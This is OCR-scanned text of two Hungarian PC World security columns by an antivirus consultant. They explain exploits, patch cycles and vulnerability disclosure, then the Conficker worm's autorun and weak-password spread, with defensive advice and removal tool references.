okostelefonokon felfedezett sebezhe-
tGségek, és az ezekre elkészild javita-
sok, foltok miatt ugyanolyan végtelen
harc kezdédott, mint a PC-k vildgaban.
Aki nem tartja naprakészen mobil ope-
racios rendszerét, beleértve ebbe az
azon hasznlt alkalmazasokat (példaul
a bongészoklienset, levelezdt), az egy-
re inkdbb olyan lesz, mintha egy cél-
tablét ragasztana a homlokdra: ide 16-
jetek. Kénytelenek lesziink itt is pedan-
san odafigyelni, és a fontos biztonsag
javitasok, foltok, gyari firmware-ek
megjelenése utan azokat mihamarabb
lefuttatni, mert valahol valakik mar fe-
nik a fogukat az értékeinkre.

*kk

Kérjuk kedves olvaséinkat, ha a téma-
ban kérdésiik, hozzaszoldsuk van,
juttassdk el hozzank (velemeny@

pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsadd

Sicontact Kft., a NOD32 antivirus

magyarorszagi képviselete

antivirus.blog.hu

A licenceknek - a hagyomanyos
szamitogépes NOD32-hoz hason-
léan - itt is van lejarati idejiik. J6
hir lehet, hogy az itthon december
elsé napjan megjelent virusirtéhoz
az ESET Smart Security Business
Edition licenctulajdonosok ingye-
nesen, az ESET NOD32 Antivirus
Business Edition felhasznalok pedig
fél aron juthatnak hozza
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E, mint Exploit

Sorozatunk tizennyolcadik epizddjaban megprobaljuk 6sszefoglalni, hogyan lesz a sebezhetéségbdl
kartevo. Az alaptétel az, hogy nem elég csupan a virusirtét frissiteni, a szoftverkornyezetiinket is al-
landdan naprakészen kell tartani ahhoz, hogy elkeriljik a fertozéseket. Bizonyitott az 0sszefliggés,
ugyanis a biztonsagi incidensek java része elavult, nem frissitett kérnyezetben torténik.

okszor és sokat hallottunk sé-
S riilékenységekrdl, sebezhetdsé-

gekrdl az utobbi években. Ha
csak a Microsoft operdcids rendsze-
rét és {6 alkalmazasait nézz(ik, lathat-
juk, rakényszeriiltek a rendszeresen ki-
bocsétott hibajavitdsokra. Minden hé-
nap masodik keddje — népszer(i nevén
Patch Thuesday, azaz ,Foltozé Kedd”
— hivatott arra, hogy a Microsoft kijavit-
sa a rendszeresen dsszegy(il6 és tima-
dasokhoz kihasznalhat6 hibdkat. Az,
hogy a hiba észlelésétdl| kezdve meny-
nyi id6 telik el a ,javitéfolt” megjelené-
séig, igen valtozo lehet.

|r/

Ha arra gondolunk, a , gyerekszdjnal
mi a szél meghatarozdsa: ,Olyan le-
vegd, amelyiknek stirgds dolga van...”,
akkor az exploitndl is lehet hasonlét al-
kotni. Ez kortlbeliil gy hangzana: ,az
exploit olyan sebezhetdség, amit egy,
kiilon erre a célra szant timadokod-
dal ki is hasznalnak”. Aztan itt mar kis-
sé kodbe veszhet a tapasztalat, mert
ugyebdr ki tudhatja, mit, hol és meny-
nyien hasznalnak ki aztan tényleg

a gyakorlatban. Mindenesetre ha mér
komolyabb portalokon osztjdk meg az
ilyen kodot —ilyen példaul a MilwOrm
—, akkor az internet természetébdl adé-
ddan ezt tobbé nem lehet titokban tar-
tani, és a sebezhetGségrél sz6l6 infor-
méci6 kénnyedén eljut azokhoz is,
akik ezt szandékos tamadasra kivanjak
felhaszndlni. Ezen tevékenységet per-

sze nem okvetlendil Ggy kell elképzel-
ni, hogy kiilon erre a hibdra frnak min-
dig egy kiilon kértevét — bar ez is gyak-
ran el6fordul —, hanem Ggy, hogy az
adott kihasznalhat6 sebezhetdség be-
kertil a tobbi hasznalt timadasi méd-
szer kozé, és egy lesz a lehetséges, de-
tektdlasra érdemesek kozott. llyesmiket
athatunk, ha a Metasploit Framework
(www.metasploit.com/framework/)
weboldaldt meglétogatjuk. Ezeket

a weboldal készitéi persze csak és kizé-
rolag ,tesztelési” célbol teszik fel, ami-
re kiilon figyelmeztetési szoveg is meg-
jelenik: , The tools and information on
this site are provided for legal security
research and testing purposes only.”
Abban azért szdzszdzalékosan biztosak
lehetiink, hogy a honlapot nem csak

a Grél-lovagok fogjak hasznalni.

2006 majusaban olvashattunk egy Sa-
fari bongészds hibérdl, amit bar a fel-
fedezdje kritikusnak tartott, az App-

le nem értett ezzel egyet és nem tartot-
ta stirgésnek javitofolt kiadasat. A hiba
szerintiik nem volt jelentds, és éppen
csak azt nem mondtak, hogy addig is
bongéssziink kizarélag megbizhato for-
rasbél szarmazé weblapokat. A se-
bezhet6ség azonban kés6bb tgy tdnt,
mégis komolyabb a vartndl.

Erdekes médon most a kordbban ha-
sonl6 (el nem ismeré és halogat6) tak-
tikat folytaté Microsoft allt a sarkdra és
igyekezett a hibara jobban felhivni a fi-
gyelmet, nem véletlentil. Ugyanis a Sa-

Microsoft =c/i/\et

Tachhet Home

\Hr_ 1 signing algorithm

Mitigating Fackors

TachCentars . Downloads - Techhat Frogram  Subsoriptions  Seourity Bulletirs — Archive
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Migresoft Is not aware of specific attacks agairst MDS, so previously Issued
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Ha mar itt is feltiinik egy exploit forraskédja, felgyorsulnak az események
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" 1ar 01-2009: Happy New Year!

Y

Gct-10-2008: Metasplolt 3.2 Released

Gabek Links

Nem véletlenil népszerii a modularis Metasploit eszkozkészlet, a program

segitségével Windows és Linux aldl is ,,tesztelhetink”

fariban a Nitesh Dhanjani biztonsagi

kutato altal mdjus 15-én taldlt hiba és
egy, az Internet Explorerben 1év6 ma-
sik sebezhetGség egytittes hatdsaként
tetsz6leges program valt futtathatéva.

Search for Home > Tachiat Searity > Lty R L R e - E
Microsoft Security Advisory (961509} o

Techhlat Saarity Research proves feasibility of collision attacks sgainst MDS

Sacurtty Bullatin t:

Search

Library Micresoft js sware that ressardh we m

Laers successful sttad against 1,50 i

Sontilaads algarithm, This attad: meth rate adkditional ¢ ||-;||ro| E;

v certificabes with different cor ] ature as an original
Support certificabe, The MOS algorithm had praviously SRR abillby, buk a practical )
ity attadk had nob yet been demonstratsd

Az IDG News Service munkatdrsai ezt
demonstralva képesek voltak az dldo-
zat szamitogépén futtatni a Windows
Calculator programot. A végrehajtds-
hoz egy rosszindulatti kédot tartalma-

Egy lehetséges ,jo"” eredmény, amit a Metasploit kod beinjektalasaval érhe-

A Microsoft Biztonsagi Ertesit6kbél sok hasznos informacié szerezhets,
olvasasa egyes esetekben szinte nélkiilozhetetlen

tiink el: belépési ablakot kapunk egy Windows 2000 szerverre, aminek az
igazi admin valészinlileg nem igazan ériilne.
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Dancho Danchey s Blog - Mind Streams of Information Security
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Izgalmas olvasmany Dancho Danchev figgetlen biztonsagi szakérté blogja

(ddanchev.blogspot.com)

z6 weboldalt kellett elétte a window-
sos Safari bongészével felkeresni a be-
mutat6 kedvéért.

A Microsoft ezdttal komolyan vet-
te az esetet, hiszen az XP és Vista alatt
is jelentkezett, és a cég rovidesen kibo-
csatott egy biztonsagi értesitét. Ellen-
ben az Apple jiniusban még mindig
félvallrdl kezelte az automatikus fajl-
letoltési esetet — némiképp csalodast
okozva sajat felhasznaldinak is -, pe-
dig még a StopBadware.org is felsz6-
litotta, hogy vegye komolyan a ,sz6-
nyeghombazas” nev(i sériilékenységet
és adja kozre mielébb a biztonsgi hi-
ba javitését. Erdekes momentum, hogy
a korabbi béngészébiztonsagi dsszeha-
sonlitasokon a Safari mindig biiszkén
hozakodott el6 azzal, hogy extra ro-
vid id6 alatt befoltozza a versenytérsa-
ihoz képest sokkal kevesebb biztonsa-
gi hibdt, és ezzel igyekezett nimbuszat
megdvni. Emiatt aztan végképp érthe-
tetlen volt résziikrél ez a hozzaallds.

Ha mar egy kihasznalhato hibara épii-
|6 kisérleti timadaés forraskodja nyilva-
nosan is megjelent vagy mar észleltek
ilyen kdrtevét valés kornyezetben (In
The Wild, ITW), akkor a konkrét kérte-
véminta birtokdban kezdenek el tény-
kedni a viruslaboratériumok is. A virus-
keresd nem sebezhetéségkeres6 (fuz-
zer), ezért vagy a begy(ijtott kartevs
kddja alapjan készitett szignatdraval,
vagy a heurisztikus keresés segitségé-
vel a gyan(s viselkedése alapjén ismer-
heti fel ezeket. Magyarul, pusztan a se-
bezhet6ség kihasznaldsa nem okoz ri-
asztast, hanem csak ha mar létezik erre
épiil6 tamado kéd, amely meg is pro-
bal végrehajtani nem kivant lépéseket
(jelszolopas, fert6zés, alloményok tor-
lése, cseréje, nem kivant Gij dllomanyok
létrehozdsa, tovabbi kértevg kompo-
nensek letoltése, stb.). Vagyis kevés ki-
vételtd| eltekintve a kdrtevének biinte-
t6 rutinnal (payload) kell rendelkeznie,
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Dancho Danchev fedezte fel azt a 2008 novemberében megjelent, pénzért aru-
sitott exploitkészletet, amellyel mar az iinnepi szezonra késziiltek a bilin6zé6k

ey
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A Virusok Varazslatos Vilaga &+ 9P

A nevezetes sz6nyegbombazasi hiba, amit Nitesh Dhanjani fedezett fel.
Nem igazan érthetd, miért huzodott el a javitas végiil olyan hosszu ideig

GNUCITIZEN

hogy bekeriilhessen
a felismertek kozé.

Ebbdl nagyjabol mar
azt is latni lehet, hogy
ez az idébeli eltérés
mindig egy kicsit a ta-
madoknak kedvez, és
|épéskényszert okoz

a védelmi programok
fejlesztGinél. Ezért is ve-
szélyesek egyébként az
tgynevezett nulladik
napi — més néven zero
day — exploitok, hiszen
a kihaszndlasra relative
igen sok ideje marad

a tdmadodknak. Sokszor
fordult el6 példaul az
az eset, hogy a Foltozd
Keddet kovetd szerdan
ismertek fel egy Gj sé-
riilékenységet, amely-
lyel j6 esetben egy teljes hénapig lehe-
tett visszaélni, mire a kdvetkezd rend-
szeres havi biztonsdg javitds megjelent.
Rossz esetben akdr tobb havi cstiszds
is elképzelhetd. Néhany kivételes eset-
ben rendkiviili azonnali javitas is meg-
jelenhet, legutdbb ilyen volt példaul az
Internet Explorer hibdja. Mint emléke-
zetes, dllitélag véletlendl hoztak nyilva-
nossagra a sebezhetdséget konkrétan
kihasznalo kédot kinai biztonsagi ku-
tatok, akik azt hitték, hogy a kéd egy
mér javitott hibat akndzott ki. A Micro-
soft patch ez esetben példas sebesség-
gel, napok alatt elkésziilt és letSltheté
lett. Az mar persze egy masik kérdés,
hany szamitégépen fogjak ezt majd va-
|6ban telepiteni.

A fenti példabdl mér vilagosan kide-
riilt, hogy a sebezhetéségi harc részt-
vevGinél konrad lorenzi megfigyelése-
ket tehetiink: tobbé-kevéshé szabdly-
szer(ien, kiszamithatéan ténykednek.
Kitudddik egy hiba, és figyelmeztetik

a céget, a fejlesztéket. Ott elGszor vagy
elzérkéznak, vagy azt nyilatkozzak,
még vizsgdljak a bejelentést — ezt néha
észvesztGen sokaig is képesek elhtiz-

DRE SFEED

A GNUCITIZEN (www.gnucitizen.org) egy nagyon
hasznos weboldal biztonsagi szakembereknek.
Petko Petkov nagyon sok érdekes felfedezést tett
mar, és a Microsoft kiilén koszonetnyilvanitasban
is elismeri a szakember segitékészségét

ni. Ha id6kozben egy vagy tobb szak-
ért6 is megerdsiti, hogy valoban létez6
és igencsak stilyos hibardl van sz6, ak-
kor elészor az a kijelentés kovetkezik,
hogy megvizsgaltak az esetet, de az ko-
rantsem olyan stlyos, mint azt a cik-
kekben frjdk. Meg lehet még ezt tol-
dani azzal, hogy ,nincs tudomasunk
olyan konkrét esetrél, amelynél éppen
ezt a hibat hasznaltdk volna ki”, illetve
,a hiba valéban kihasznalhatd, azon-
ban annyira ritka és extrém kortlmé-
nyek kozott, hogy ez semmilyen ve-
szélyt nem jelent az atlagfelhasznaldkra
nézve”. Pluszban esetleg hozzate-

szik, hogy a kovetkez6 otéves tervben
vagy ,majus és november kozott az es-
ti 6rdkban” majd valéban megjelenik
egyszer egy esetleges javitds, valamint
kérik, hogy ,a javitds megjelenéséig ki-
zarolag biztonsagos forrashél szarma-
26 &lloményokat nyissanak meg, illetve
csak biztonsagos weblapokat latogassa-
nak”. Ekkor el6fordulhat, hogy az elé-
gedetlen és tiirelmetlen hibafelfedezd
— ha teljesen bizonyos a dolgaban — ki-
teszi a blogjdba az exploit mintakddot,
hogy j6, hét ha harc, legyen harc, néz-
zlik meg, val6ban olyan ritka/drtalmat-
lan/extrém-e ez a bizonyos hiba. Ekkor
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Ha mar valami virusszeri viselkedést produkal, hiaba nincs benne a felisme-
rés a virusismereti adatbazisban, a heurisztika jo eséllyel képes detektalni
az Uj tamadasokat is, amennyiben ehhez megfeleléen valasztottuk ki

a beallitasokat

aztan altalaban hihetetlentil felgyorsul-
nak az események. Az eddig vitatkozo,
lomha |éptti fejlesztécégek akar 6rak
alatt is képes elkésziteni és nyilvanos-
sagra hozni a javitast, hiszen itt mar re-
noméjuk a tét — nem merik megkoc-
kéztatni azt, hogy vésarléik elpértolja-
nak t6liik, vagy esetleg elcsabitsa Gket
a konkurencia.

Az olyan neves cég, mint példa-

ul a dén Secunia portal (www.secu-
nia.com), minden esetben elGszor

a gyartokat figyelmezteti, és csak és
kizarolag ezutan hoz nyilvanossagra
technikai részleteket, ha mar azok ki-
bocsatottak a sebezhetdséget javitd
foltot. Lathattuk persze ennek a hoz-
zadlldsnak az ellenkezgjét is, elég
csak a WabiSabilabi oldalra gondol-
ni (www.wslabi.com), ahol arveré-
si portalt szerveztek a felderitett se-
bezhetéségekhez. Alnaivan és 4l-
sagosan a kutaték megsegitése volt

a hangoztatott cél, de azt azért min-
denki sejtheti, kiknek éri meg iga-
zan az ilyeneket megvasarolni. A ha-
mis antivirus programok fejlesztdi-
nek példaul biztosan, és még csak
nem is kellett nagyon mélyen a zse-
biikbe nydiniuk ehhez. Emlékezetes,
hogy egy orosz botnetes tdmaddsok-
ban résztvevé blin6z6 a Bakasoftwa-
re nev(i cégnél kishalként is heti 158
ezer dollart keresett (mintegy 32 mil-
li6 forintot). Fogalmazzuk diplomati-
kusan Ggy, hogy a furcsa arverési ol-
dal méikédése erételjesen megosztot-
ta a szakmét.

Sajnos minden olyan esetben, ahol
hidnyzik a megfelel6 szakértelem,
beletitkézhetiink kdrokba. Ha Gjon-
nan vettiink egy routert, és nem val-
toztatjuk meg az alapértelmezett jel-
sz6t, nem védijtik megfelel§ titkosi-
tassal a Wi-Fi internetkapcsolatunkat,
kéretlen levelek mellékleteire kat-
tintunk, nem frissitjtik rendszeresen
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Egy december 26-i weblapokat médosité tamadassorozat sajat webes
szovegeiben szerepelt a ,,HACKED By"” karakterfiizér. A Google-be belitve
meglepéen sok magyar talalatot is kapunk, és az érintett oldalak tulajdono-
sai sokszor nem is veszik észre a veliik tortént malért
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A Secunia oldala (www.secunia.com) nemcsak a Personal Security
Inspectorral igyekszik segiteni programjaink naprakészen tartasat, de
kiterjedt adatbazist is vezet a sebezhetéségekrdl, azok veszélyességérdl és

az adott javitofolt megjelenésérdl

a haszndlt operdcids rendszert és al-
kalmazasainkat, nincs naprakész biz-
tonsagi csomagunk, vagy fert6zott
weboldalra, esetleg fert6zott banner-
hirdetésre kattintunk. Ha weboldalt
vagy forumszoftvert tizemeltetink,
ott is fontos a megfelelé hozzaértés
és a megjelend biztonsagi frissftések
miel6bbi futtatasa. Ellenkez esetben
a botok automatikusan felderitik az
ilyen oldalakat, és a timadok végig-
duljdk ezeket.

Sok férumszoftver és még tébb web-
oldal esik dldozatul az ilyen jelleg( ta-
madasoknak, és a legrosszabb, amit
ilyenkor tehettink, ha csak bambén
visszamasoljuk az oldalt mentésbél -
mar akinek van ilyenje. A tdmadasrol
alaposan tajékozddni kell a keletkezett
logokbdl, az okot kell megsziintetni, és
a hidnyossagokat pétolni, a kozben ke-
letkezett biztonsagi javitasokat, frissité-
seket pedig haladéktalanul telepiteni.

Nem kell kiilonosebb jéstehetség vagy
tiveggdmb hozza, hogy elképzeljtik,

a sziirke hétkdznapok mellett min-
den kiilonleges alkalom, tinnep kihasz-
nalhaté eseményt jelent, lehetGséget

a kartevéterjesztknek, hogy kiilonféle
modszerekkel célba juttassak a kodja-
ikat. A repertodr széles: fertGzott web-
lapok, manipulalt webaruhdzak, tinne-
pi tidvézl6lapok stb. Dancho Danchev
(ddanchev.blogspot.com) 2008 no-
vemberében példdul egy olyan hirde-
tést fedezett fel, ahol a rosszfitik komp-
lett, azonnal hasznalatba vehetd kar-
tevéterjesztd készleteket kindlnak,
amelyek segitségével , biztosan meg le-
het keresni a karacsonyi ajandékra va-
[6t”. Az interneten orosz weboldala-
kon hirdetett eszkoz Basic, Standard
és Professional véltozatban kaphato, és
természetesen a legdragabb, profi ver-

zi6 képes kihasznélni a legtobb sebez-
hetGséget. A szoftver lefrasaban IE6,
Opera, Firefox, PDF, XLS és SWF dllo-
ményok elleni tamadésok szerepelnek,
és a készité a weboldalan még azzal
is dicsekedett, hogy 37 antivirus prog-
rambdl minddssze 6 latta a kartevét,
amely TDSSserv.sys néven egy root-
kit komponenst is megkisérel a rend-
szerbe juttatni. Ha igaz is volt az akko-
ri emlitett felismerési arany, ez mostan-
ra biztosan megvaltozott.

Mindenesetre minden szamitogép-fel-
hasznélonak fel kell kotnie a felkoten-
dét, hiszen a biztonsagi cégek 2009-es
joslatait olvasva olyba tdinik, a sakko-
zas, focizas és tévénézés mellett saj-
nos az exploitkészités és -terjesztés is
ossznépi elfoglaltsdgga valik; mindent
tamadnak, ami szembejon. A frissi-
tés és a szoftverek naprakészen tarta-
sa nem (ri passzi6, nemcsak a valla-
lati kdrnyezet kdvetelménye, hanem
minden maganfelhasznalé szamara is
olyan lehetdség, amivel minimalizal-
hatja a szamitégépe ellen iranyul si-
keres tdmadasokat.

* %k

Kérjiik kedves olvaséinkat, ha a té-
méban kérdésiik, hozzaszolasuk van,
juttassdk el hozzank (velemeny@
peworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsadd
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

Az ESET magyar nyelv(i viruslexikona:
www.eset.hu/virus

Isodor Biztonsagi Kézpont:
www.isbk.hu
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Az admin jogosultsag bosszuja

v

Sorozatunk tizenkilencedik epizodjaban a Conficker kartevorol fogunk beszélni. Bar a Microsoft a
trafficconverter.biz-b6l probalja betlicsereberékkel eredeztetni a féreg elnevezését, sokkal valdszi-
nlbb, hogy az mégis inkabb a konfiguracios allomany ,szétbarmola” miatt ered a nem tul szalon-
képes német ficken igébdl. A fert6zés hatasait és okait kutatjuk az alabbiakban.

gy friss tanulmdny szerint a
E 2008-as esztenddben tor-

tént Windows-sebezhet6-
ségek dont6 hanyada megel6zhe-
t6, vagy hatésa csokkenthetd lett vol-
na, ha a felhasznélok tébbsége nem
hasznalnd allandéan adminisztréto-
ri jogosultsagokkal a windowsos sza-
mitogépét. A bongészés kozben be-
gy(jtott kartékony kédok az ilyen
gépeken adminjoggal tudnak gardz-
délkodni, és ezzel jelentds biztonsagi
kockazatot okoznak. Egy Linux vagy
OS X rendszeren nincs ilyen jellegd
JVéletlen” kodfuttatas, kéretlen tele-
pités, hiszen ott lizemszer(ien sosem
rendszergazdaként haszndljuk a gé-
pet, hanem csak bizonyos, kulcsfon-
tossagt miveletek alkalmdval — pél-
daul telepitéskor — hajtunk végre ad-
minisztratorként parancsokat.

A Vista esetében mdr tortént el6-
relépés — ez a kozutdlatnak orvendd
UAC -, de a legelterjedtebb Win-
dows, az XP alatt sajnos csak keve-
sen hasznalnak ehhez hasonlé meg-
oldasokat. llyen példaul a Microsoft
DropMyRights programja (hopp.
pcworld.hu/5511), amely egy adott
alkalmazas elinditdsa utan eldob-
ja annak adminisztratori jogat, és az
a tovabbiakban jéval veszélytele-
nebbiil, felhasznaloi szinten fut. Az
igy futtatott program — példaul egy
webbongészé — mér joval kevéshé
jelent veszélyt a rendszertinkre, ha
megfert6zGdik valamivel.

A DropMyRights, illetve a Vista UAC-
jének elkészitése nem feltétlendl a tal-
zott 6vatossag kovetkezménye, ugyan-
is a tdmadasok jelentds része alapoz
arra, hogy a betolakodék teljes mér-
tékben hozzdférhetnek a megtdmadott

Felhasznaléi fiokok feliig

g Bedllitasszerkeszto
g Microsoft Windows
v | Részletek

beallitasainak illetéktelen modositasa,

Ha On kezdeményezte a miveletet, lépjen tovabb.

A Felhasznaléi fiok feligyelete segitségével megakadalyozhaté a szamitogép

AuzoPlay ey = | o e Removable Disk (M:)
. is di i i i
Removable Disk (G?) = lgrft:r:stk of dewice contains more than one type of
|
what do you want Windows to do?
. Always do this for software and games: | @ Play ~
Install or run program e ;
2 4 o Work with music
OpEﬂ fobd'erto w’_ﬁbs L Ol using Easy Media Creater 7 Basic DVD Edition 5
General options
Open falder to view files
1 i E W Copy pictures to a folder an my cumpuler
1sing Microsoft el and Camera a
h Speed up my system
S USINg dows FeadyBoos ' |,:r \f\ewa s!ldeshow aof the i Images
1 s Picture and Fax Viewsr
Set AutoPlay defaults in Control Panel
L . Frint the pictures e
—_— — e — —
A Confickerrel fert6zott USB-kulcs a Windows sajat beal- L OK ] | Cancel
litéablakat inditja el, igaz, kissé megpatkolva: az elsé sor

ugyanis a virust inditja, holott Ggy latszik, mintha csak az
eszk6z gyokérmappajaba lépnénk be vele

géphez, a Windows rendszerfdjljaihoz.
Emiatt tehat minden interneteléréssel
rendelkez§ alkalmazasunknal — levele-
26, bongészd, chat, VolP telefonok stb.
— érdemes lenne hasznalni valamilyen
jogosultsagbeli korldtozdst. Persze elvi-
ekben mindez szép és j6, de a dolog-
nak két oldala van. A probléma megfe-
lel6 megoldasdhoz az is sziikséges len-
ne, hogy a Windows-programozok ne
frjanak olyan felhasznaléi programokat,
amelyek csak és kizardlag adminisztra-
tori jogosultsagokkal futtathatok.

Kritikus hiba — akad-e valaki, akinek ez
a szalagcim egy sosem hallott mondat-
ként hangzik? Talan arra mér jobban
felkapnank a fejtinket, hogy ,ma egy
hibét sem talaltak az Windowsban”.

G A Windows a beleegyezését keri a mivelet folytatasahoz

| Folytatas |i Megse i

A Vista a beleegyezésiinket kéri a miivelet végrehajtasahoz. Itt Iéphetiink
kozbe, ha azt mégse mi kezdeményeztiik
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Jot tesziink magunkkal, ha totalisan lekapcsoljuk a kiils6

eszk6z6khoz tartozo Autoplay funkciot. Az alapértelme-
zetten indulo automatikus végrehajtas komoly biztonsa-

Sok esetben
olyan kritikus mi-
nGsitést sériilékenységet fedeznek fel,
amelyet egy specidlisan megformazott
dllomannyal lehet kihasznalni, és ha ezt
a gyan(tlan dldozat megnyitja, tavo-

li kod végrehajtdsa valik lehetségessé —
ami ugye nem hangzik tdl jl, és raadé-
sul a felhasznalok zome adminisztratori
jogokkal rendelkezik. Szerepe szerint a
Microsoft ilyenkor azt tandcsolja, hogy
a hiba kijavitasaig csak megbizhato for-
rasbdl szarmazé dokumentumokat
nyissunk meg. Nem szabad igazsagta-

gi rést nyit a Windowson

lannak lenni, fizikailag gyakorlatilag el-
képzelhetetlen, hogy egy ekkora kod-
ban sose fedezzenek fel Gjabb és djabb
sebezhetGséget.

A minden hénap mésodik kedd-
jén alkalmazott ,foltozé kedd” (Patch
Thuesday) hivatott a biztonsagi hibdk
elleni javitasok megjelentetésére. Ez
viszont relative elég ritka alkalom, hi-
szen a tdmadok sokszor egy egész ho-
napot nyernek az exploitok (ld. mdilt
havi cikkiinket) kihasznldsara, és ezt

" .
Worm:Win32 Conficker
A halézaton beliili gépek, amelyek gyenge jelszéval
y— rendelkeznek, illetve hianyosak a Windows
[ i Fj biztonsagi frissitései, veszélyben vannak.
(o)

p=
=

Atitkositatian, vagy gyenge jelszoval ellatott
halozati megosztassal rendelkezs gépek
szintén veszélyben vannak.

Azok a szamitégépek védettek a féregtsl,
amelyekné erds jelszot hasznalnak, minden
biztonsag frissités le lett futtatva, valamint
naprakész antivirus program védi.

Minden, amit fontos tudni a kartevérél. Jol latszik, hogy az erés jelszoval
ellatott, a biztonsagi javitasokat rendszeresen alkalmazo és naprakész
antivirus programmal védett gépek nincsenek veszélyben
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DropMyRights
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Ha minden Windows XP-felhasznalé igénybe venne egy, a DropMyRightshoz
hasonlo segédprogramot, nagysagrendekkel javulhatna a biztonsag

a laza iddszakot csak egy gyorsan ki-
adott, rendkiviili frissités mérsékelhet-
né. Ugy tiinik, ez a kiszamithat6 havi
patch-rendszer nem igazan véltja be
a kordbban hozzéflizGtt reményeket.
A Microsoft MS08-067-es szam(

biztonsagi figyelmeztetésére mar
2008 oktoberében kiadtdk a javitdst.

Number of IPs [Registered Country of the IP
1388

Canada

Hong Kang
ch Republic

Sri Lanka

Croatia Ugy tlinik, ezt sokan mégsem toltot-
Austria ték le, illetve nem futtattdk a gépii-
Moldova kon. De miért is nem frissiti valaki a
Lithuana szamitogépét? Ennek oka lehet egy-

Ecuador feldl a lustasag, taldn ez a legjellem-

z6bb. Azonban nem kevés azoknak
a szdma sem, akik vildgszerte lopott
operécids rendszert hasznélnak, és
emiatt nem férhetnek hozza a rend-
szeres biztonsagi javitdsokhoz. Ez az
illegdlis szoftvereket hasznal6 egyes

Slovakia

Bosnia and Herze

Jordan

fietnam

Portugal

Saudi Arabia

Spain
Japan térségeket, példaul Kint és Oroszor-
Iran szagot hozhatja igen nehéz helyzetbe.
Republic of Macedonia
Poland
Hungary
Bulgaria < Sl 4 .

— Mar a korabbi évek Sony rootkites bot-
United Kingdom , . ’|‘ ]/TS it h k] 5 adat
Eppp—— ranyaindl is ldtszott, hogy a kiilsé adat-

France

Gox

QUL o, dourais

Sign i to sse and export additional Trends data.
Search Trends

Searches Websites.
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Rank by [conficker <]
Rogions Cities

1. Indonesia 1. Jakarta, Indonzsia

2. Austia 2. Vienna, Austiia

Ukzaing 3. Barlin, Garmany

3
4. Caach Repubiic
5. Maxico 5. Munich, Germany
6. Gomany 6. Hamburg, Garmany
7. Russia

7. Mexico City. Msxica

4. Frankfurt Am Main, Germany

[ ANl regions | [Allyears -

A Zscalet Provides Proactive Protection from Cant Worm
& Eahtimes fease - Jdan 19 2009

Zscaler Providas Proactive Protection from Cont Worm
Earthtim Tease) - Jan 19,2008

Languages
1. Indanesian
2. Russian
3. Gaman
4, Crech
5. talin

& Dutch

|
'I‘I‘I|‘|1H

7. Romanian

Jol lathato, hogy a 2008 novemberében indulé Conficker kartevé egyre
novekvo érdeklédést generalt a Google keresében

hordozdkon levé programok automata
inditasat lehetévé tevd autorun funkcié
akkor j6, ha ki van kapcsolva, mond-
hatni ,a halott autorun a j6 autorun”.

A Conficker kapcsan egy igen fontos
momentum, hogy a féreg az autorun
folyamat manipulélésaval kiilsé USB-
eszkdzok révén is tud fertézni.

A mai kdrtevék készitit senki sem
nevezheti kontaroknak, sz6 sincs férc-
munkdkrol; tudatosan és tervszerdien
fejlesztenek, programoznak. Sokszor
a csalinak szant alkalmazédsok még
vonz6, esztétikus kiilsét is kapnak —
ezt mér sokan megtapasztalhattdk a
hamis antivirus programok esetében.
Uveghatasd gombok, gyarinak hat6
mentistruktdra, igazinak tind webol-
dal, mély hélozati ismeretek. Igen je-
lentds erdfeszitéseket tesznek to-
vabba, hogy minél nehezebb legyen
mentesiteni a megfert6zott gépeket.

S6t, a Conficker féreg egy kicsivel
még ennél is tovabbmegy. A kdrte-

VG készitGi nem spéroltak az Gtletek-
kel, és egy olyan leheletfinom social
engineering triikkét is bevetettek, ami
csak keveseknek fog felttinni. A fertG-
z6tt USB-egység behelyezése utan egy,
az eredeti Windows hibaiizenethez
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Az F-Secure blogja részletesen k6z6l-
te, mely orszagokban talalhaté web-
oldalakat észleltek fert6zottnek

Néha jol jonnek a gyorsan és kényelmesen hasznalhato egyedi mentesité
célalkalmazasok. A jelentésebb kartevék ellen a www.eset.hu oldalon talal-
hatunk ingyenes segédprogramokat, és természetesen a Conficker-irté is
szerepel a repertoarban

hasonld, de val6jdban hamis rendszer-
lizenet-ablakot jelenit meg. Az ebben
megjelend els sor latszatra csak meg-
nyitna az USB-kulcs gyckérmappajat,
am ha rakattintunk, valéjéban a virust
indftjuk el, azaz mi magunk segédke-
ziink a Conficker , telepitésében”. Ugy
tinik, mér csak emiatt is érdemes az
dsszes kiilsGs eszkéz autoplay, autorun
futtatasi lehetdségeit korldtozni.

A féreg egy alaposan ,0sszeku-
tyult” szoveget ir az autorun bejegy-
zésbe, amely els6 ranézésre a Win-
dows mindenek felett ll6, biztonsa-
gos rendszerkomponensét inditja el.
Valéjaban ez a Windows-kompo-
nens — az automatikus inditasi beal-
Iitésokat bekérg ablak — az atadott
paramétereknek megfelelGen a fel-
hasznaléval indittatja el a férget.

,Mindenki inkabb kapcsolja ki az
automatikus futtatast az USB-s esz-
kozeinél” - olvashatjuk internetszerte
a jo tandcsokban. Aztan sokszor csak
késdbb, kinos médon derdl ki, hogy
nem mindegyik tippben leirt bedllitas
kapcsolja ki teljesen és véglegesen
az autorunt, ezért tovabbi, pétldla-
gos kézi éllitgatasok, Registry-kulcsok
médositdsa sziikséges a nyugalom-
hoz. Eppen emiatt adott ki a CERT
egy részletes autorun-ledllitasi Gtmu-
tatét (hopp.peworld.hu/5510), hogy
a kialakult helyzetben ezzel is segit-
sen a felhaszndloknak.

Kordbban mar beszélttink réla, hogy
a megfelel minGség jelsz6 kivalasz-
tasa is gondot okoz sokaknak, és ak-
kor a kivanatos, el nem végzett leg-
alabb negyedéves cserélgetésrél még
nem is ejtettiink szot. Pedig a Win32/
Conficker féreg megadja az apropét
hozza: nemcsak a MS08-067-es biz-
tonsagi kozleményben ismertetett
Windows-sebezhetdség a lehetséges
behatolédsi pont, de a rendszerszintd
megosztasokhoz hasznalt il egysze-
rd, és igy a féreg dltal szotdrral kony-
nyen kitaldlhato jelszavak is.

Egyes jelentések szerint mar kozhi-
vatalokban, kérhazakban is felbuk-
kant, és a szakemberek tdmeges el-
terjedésétdl tartanak. Voltak inci-
densek ausztriai maganbankban, sét
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INDOWS\system32\cmd.exe

R ind F Tve
<C> Copyright 1985-20B1 Microsoft Co

o :\1>EConf ickerRenover.exe

[1in32/Conficker worn Removal Tool huild: Jan 21 2889 Cc) 2869 ESET. spol. s r.o.

onf ickerRenover.exe <options>

—autoclean - clean automatically without confirmation
- reboot machine after successful cleaning

